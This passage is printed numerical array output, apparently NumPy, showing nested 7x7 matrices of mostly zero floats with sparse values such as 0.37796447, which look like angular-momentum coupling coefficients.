[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.37796447],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.37796447, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.37796447, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.37796447, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.37796447, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.37796447, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0.37796447, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.37796447, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , -0.3086067 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.09759001, 0. ],
[ 0. , 0. , 0. , 0. , 0.27602622, 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , -0.29277002, 0. , 0. , 0. ],
[ 0. , 0. , -0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.23904572, 0. , 0. , 0. ],
[ 0. , 0. , 0.27602622, 0. , 0. , 0. , 0. ],
[ 0. , 0.09759001, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.3086067 , 0. , 0. , 0. , 0. ],
[ 0. , -0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.37796447, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.32732684],
[ 0. , 0. , 0. , 0. , 0. , -0.18898224, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , -0.18898224],
[ 0. , 0. , 0. , 0. , 0. , -0.21821789, 0. ],
[ 0. , 0. , 0. , 0. , 0.24397502, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.24397502, 0. ],
[ 0. , 0. , 0. , 0. , 0.10910895, 0. , 0. ],
[ 0. , 0. , 0. , -0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.26726124, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.26726124, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , -0.10910895, 0. , 0. , 0. , 0. ],
[ 0. , -0.24397502, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.24397502, 0. , 0. , 0. , 0. ],
[ 0. , 0.21821789, 0. , 0. , 0. , 0. , 0. ],
[ 0.18898224, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.18898224, 0. , 0. , 0. , 0. , 0. ],
[-0.32732684, 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.37796447, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.3086067 , 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , 0.27602622, 0. , 0. , 0. ],
[ 0. , 0. , 0.09759001, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , -0.29277002, 0. , 0. , 0. ],
[ 0. , 0. , -0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.09759001, 0. , 0. ],
[ 0. , 0. , 0. , 0.27602622, 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , -0.3086067 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.37796447, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.26726124, 0. ],
[ 0. , 0. , 0. , 0. , -0.26726124, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.26726124, 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.20701967, 0. ],
[ 0. , 0. , 0. , 0. , 0.16903085, 0. , 0. ],
[ 0. , 0. , 0. , -0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , -0.20701967, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , -0.11952286, 0. ],
[ 0. , 0. , 0. , 0. , -0.23904572, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0.11952286, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.20701967, 0. , 0. ],
[ 0. , 0. , 0. , 0.16903085, 0. , 0. , 0. ],
[ 0. , 0. , -0.16903085, 0. , 0. , 0. , 0. ],
[ 0. , -0.20701967, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.26726124, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.26726124, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.26726124, 0. , 0. , 0. , 0. ],
[ 0. , -0.26726124, 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.24397502],
[ 0. , 0. , 0. , 0. , 0. , -0.24397502, 0. ],
[ 0. , 0. , 0. , 0. , 0.15430335, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , -0.24397502],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.18898224, 0. , 0. ],
[ 0. , 0. , 0. , -0.21821789, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0.15430335],
[ 0. , 0. , 0. , 0. , 0. , 0.18898224, 0. ],
[ 0. , 0. , 0. , 0. , -0.14638501, 0. , 0. ],
[ 0. , 0. , 0. , -0.06900656, 0. , 0. , 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
